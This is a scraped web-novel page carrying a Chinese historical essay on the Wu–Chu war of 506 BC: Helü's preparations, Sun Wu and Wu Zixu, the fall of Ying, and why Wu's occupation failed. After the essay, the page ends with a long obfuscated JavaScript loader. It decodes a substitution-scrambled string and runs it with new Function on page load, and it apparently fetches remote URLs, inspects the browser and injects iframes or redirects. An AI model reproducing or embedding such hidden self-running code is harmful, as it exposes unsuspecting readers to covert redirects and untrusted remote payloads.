第205章 吴楚战争的历史启示
一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!
第205章吴楚战争的历史启示(第1/2页)
在春秋末年诸侯争霸的浪潮中,吴王阖闾攻楚破郢之战,绝非偶然爆发的军事冲突,而是一场历经十余年精心筹谋、贯穿战略布局与国力积蓄的宏大军事行动。早在阖闾尚未稳固王位之时,他便已将“称霸中原”的雄心深植心中,而雄踞南方、疆域横跨江淮的楚国,无疑是其逐鹿天下路上最强大的障碍,也自然成为他必须攻克的首要目标。阖闾深知,楚国自楚庄王“问鼎中原”以来,历经数代经营,不仅拥有广袤的土地与丰富的物产,更掌控着南方的战略要道,若能击败楚国,吴国不仅能夺取长江中下游的霸权,更能借此跻身诸侯强国之列,获得与晋、齐等中原大国对话的资本。
为实现这一目标,阖闾继位后便开启了全方位的强国之路。在政治上,他重用伍子胥、孙武等外来贤才,改革内政、整顿吏治,打破了吴国旧贵族对权力的垄断,建立起高效的行政体系;在经济上,他兴修水利、鼓励农桑,依托太湖流域的肥沃土地发展农业,同时大力发展造船业与盐业,充实国库;在军事上,他采纳孙武的建议,建立起一套严格的军事训练体系,打造了一支以精锐步兵与水师为核心的军队,尤其注重士兵的实战能力与纪律性。经过近十年的励精图治,吴国从一个偏安东南的小国,逐渐成长为具备挑战楚国实力的军事强国。
公元前506年,随着蔡、唐两国因受楚国压迫而倒向吴国,阖闾终于迎来了攻楚的最佳时机。这一年冬,阖闾亲自挂帅,以伍子胥为军师、孙武为将军、伯嚭为副将、胞弟夫概为先锋,率领三万精锐吴军,从淮河逆流而上,对楚国发起突袭。战前,孙武已制定出“迂回奇袭、速战速决”的战略,他深知楚军兵力虽多,但分散在各地,且长期缺乏实战训练,只要避开楚军主力,直捣楚国腹地,便能一举破敌。
战争爆发后,吴军果然如神兵天降。先锋夫概率先率军攻克楚国边境重镇,为吴军打开通道;孙武则亲自率领主力,在柏举(今湖北麻城)与楚军主力展开决战。决战中,夫概主动请战,率领五千精锐猛攻楚军侧翼,楚军因首尾不能相顾,瞬间陷入混乱。阖闾见状,立即下令全军出击,吴军将士奋勇杀敌,楚军大败,主帅囊瓦弃军而逃。此后,吴军乘胜追击,在清发水、雍澨等战役中五战五胜,一路势如破竹,仅用一个多月便兵临楚国都城郢都(今湖北荆州)之下。楚昭王见状,仓皇出逃至随国,吴军顺利进入郢都,这场震惊天下的攻楚之战,以吴国的完胜暂告段落。
在这场战争中,吴国众将的才华展现得淋漓尽致。作为主帅的阖闾,展现出卓越的领导与决策能力:他既能在战前充分信任将领,给予孙武、伍子胥全权指挥的权力,又能在战时审时度势,关键时刻采纳夫概的突袭建议,为战争胜利奠定基础。伍子胥作为核心谋士,更是从政治与军事两方面为战争提供了关键支撑。早在战前,他便对楚国国情进行了深入分析,精准指出“楚执政众而乖,莫适任患”——楚国执政大臣众多但意见不一,无人能真正承担起抵御外敌的责任,这一判断为吴军制定战略提供了重要依据。在军事上,他提出的“为三师以肄”战术,更是成为削弱楚军实力的关键:吴军将兵力分为三支,轮流对楚国边境发起袭击,楚军一出动,吴军便撤退;楚军一撤退,吴军又再次来袭。这种游击战术持续了六年,不仅让楚军疲于奔命、士气低落,更消耗了楚国大量的兵力与粮草,为最终的决战创造了有利条件。
孙武则以其“兵者,国之大事”的军事思想,为吴军注入了强大的战斗力。他在军中推行严格的军纪,强调“令行禁止”,即便是阖闾的宠妃违反军纪,也坚决按律处斩,彻底扭转了吴军以往散漫的作风;同时,他注重实战训练,让士兵熟悉各种战术阵型,使得吴军在战场上能够灵活应对楚军的进攻。伯嚭虽此后因贪腐留下骂名,但在此次战争中,他凭借对楚国地理的熟悉,为吴军规划了精准的进军路线,减少了吴军的行军损耗;夫概则以勇猛善战著称,每次作战都冲锋在前,极大地鼓舞了吴军的士气,其在柏举之战中的主动出击,更是成为战争的转折点。
然而,吴军进入郢都后,局势却急转直下,短短数月便从胜利的巅峰跌落至失败的边缘,这一戏剧性的转变,背后蕴含着深刻的历史原因,值得后人深入反思。
从国家实力对比来看,吴国与楚国的差距始终存在。楚国自西周时期便已立国,历经数百年发展,不仅拥有方圆数千里的领土、数百万的人口,更建立起完善的政治、经济与军事体系。即便吴军攻破郢都,楚国的核心力量并未被彻底摧毁——南方的郡县仍在坚守,各地的贵族也在积极组织反抗,楚国就像一棵根深蒂固的大树,即便枝干受损,根系仍能快速汲取养分,重新焕发生机。而吴国虽在军事上取得胜利,但国土面积仅为楚国的三分之一,人口不足楚国的一半,国力远不足以支撑长期占领楚国的消耗。随着时间推移,吴军的粮草补给逐渐困难,士兵的思乡情绪也日益浓厚,这为后续的失败埋下了隐患。
外部环境的恶化,更是加速了吴国的溃败。楚国在危难之际,派遣大夫申包胥前往秦国求救。申包胥深知秦国与楚国的盟友关系,更明白秦国若坐视楚国灭亡,吴国下一个目标必将是秦国。他在秦国宫廷外“依庭墙而哭,日夜不绝声,七日勺水不进”,其忠诚与执着最终感动了秦哀公。秦哀公随即派遣子蒲、子虎率领五百乘战车救援楚国,秦军的加入,不仅为楚军注入了新的战斗力,更彻底改变了战场局势。与此同时,与吴国素有恩怨的越国,也趁机出兵攻打吴国后方,越王勾践亲率大军攻占吴国的姑苏台,迫使阖闾不得不分兵回援。至此,吴国陷入“腹背受敌”的困境,既要应对秦楚联军的进攻,又要防备越国的偷袭,战略主动权彻底丧失。
(本章未完,请点击下一页继续阅读)第205章吴楚战争的历史启示(第2/2页)
吴国内部的矛盾与纷争,更是直接导致了战争的失败。夫概在攻楚之战中立下大功,却因未得到阖闾的重赏而心怀不满,进入郢都后,他又因争夺楚国令尹的宫殿与吴王子山发生冲突,甚至不惜动用武力,引发了吴军内部的火并。楚国大夫斗辛曾评价此事:“吾闻之:‘不让,则不和;不和,不可以远征。’吴争于楚,必有乱;有乱,则必归,焉能定楚?”事实也的确如此,夫概的叛乱之心日益明显,他暗中联络不满阖闾的贵族,准备在吴军与秦楚联军交战时发动兵变。阖闾得知后,不得不先行回师平定夫概的叛乱,这一举措不仅削弱了吴军的兵力,更打乱了吴军的作战部署,使得秦军与楚军得以趁机收复郢都。
更为关键的是,吴军攻楚的掠夺性本质,彻底失去了楚国百姓的支持。进入郢都后,吴军将士不仅没有约束自己的行为,反而大肆烧杀抢掠:楚国贵族的宫殿被烧毁,百姓的财产被掠夺,甚至连楚平王的陵墓都被伍子胥掘开,尸体遭到鞭挞。这种残暴的行为,激起了楚国百姓的强烈反抗——原本对战争持中立态度的百姓,纷纷拿起武器,组成义军,袭击吴军的粮草运输线;楚国的工匠、商人也拒绝为吴军提供服务,使得吴军的后勤补给陷入瘫痪。正如《淮南子·泰族》中记载:“昭王奔随,百姓父兄携幼扶老而随之,乃相率而为致勇之寇,皆方命奋臂而为之斗。当此之时,无将卒以行列之,各致其死,却吴兵,复楚地。”楚国百姓用自己的行动证明,一场失去民心的战争,即便拥有强大的军事力量,最终也必将走向失败。
与吴国形成鲜明对比的是,楚国在危难之际展现出的凝聚力与反抗精神。楚昭王出逃后,楚国大夫子西、子期等人迅速集结溃散的军民,在云梦泽一带建立起抵抗基地,他们以身作则,与士兵同甘共苦,极大地鼓舞了楚军的士气;左司马戌在雍澨之战中,率领少量兵力与吴军展开殊死搏斗,即便身负重伤,仍坚持指挥作战,最终因寡不敌众而自杀,其宁死不屈的精神成为楚军的精神象征;申包胥哭秦庭的壮举,不仅为楚国争取到了关键的外援,更让天下诸侯看到了楚国的决心。在这些人的带动下,楚国军民形成了“上下一心、共抗外敌”的局面,最终成功击退吴军,收复了郢都。
楚国作为当时的大国,却被后起的吴国击败,这一事件在春秋史上留下了深刻的教训,其中最核心的便是楚国内部的政治腐败与人才流失。楚平王在位后期,昏庸无道,重用奸臣费无极,疏远忠良。费无极为了迎合楚平王的私欲,不仅设计陷害太子建,还杀害了忠臣伍奢及其长子伍尚,导致伍子胥被迫出逃吴国;他还诬陷楚国名将郤宛,引发了楚国贵族之间的内乱,大量人才因此逃离楚国,使得楚国的政治与军事力量遭到严重削弱。楚平王死后,楚昭王年幼即位,令尹子常不仅没有整顿朝纲,反而变本加厉:他贪得无厌,向蔡、唐等小国索贿,迫使这些国家倒向吴国;他嫉贤妒能,排挤有才能的大臣,使得楚国的政治更加混乱。正是这种“忠奸不分、吏治腐败”的局面,让楚国从内部走向衰落,最终给了吴国可乘之机。
而伍子胥、伯嚭这两位从楚国出逃的人才,其行为也成为这场战争中极具争议的一笔。他们在吴国的确展现出了卓越的政治与军事才能,为吴国的崛起立下了汗马功劳,但在攻楚破郢的过程中,他们却将个人恩怨凌驾于国家与百姓的利益之上。伍子胥为了报复楚平王的杀父之仇,不仅掘墓鞭尸,还纵容吴军掠夺楚国百姓;伯嚭则为了争夺权力与财富,暗中与夫概勾结,加剧了吴军内部的矛盾。他们的行为,虽然满足了个人的复仇欲望,却给楚国百姓带来了巨大的灾难,也为吴国的失败埋下了伏笔。这种“狭隘的复仇思想”,不仅成为他们个人历史上的污点,也警示后人:个人恩怨永远不能凌驾于人民的利益之上。
吴楚郢都之战,作为春秋时期规模最大、影响最深远的战争之一,彻底改变了当时的政治格局。吴国虽因这场战争一度称霸南方,但最终因内部矛盾与外部威胁而走向衰落;楚国则在经历这场危机后,痛定思痛,整顿内政,逐渐恢复国力,继续在南方保持霸主地位。这场战争也让后人深刻认识到:一个国家的强大,不仅需要强大的军事力量,更需要清明的政治、团结的内部以及民心的支持;而一场战争的胜负,不仅取决于战略战术的运用,更取决于战争的性质与民心的向背。这些历史教训,即便在今天,仍具有重要的借鉴意义。
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();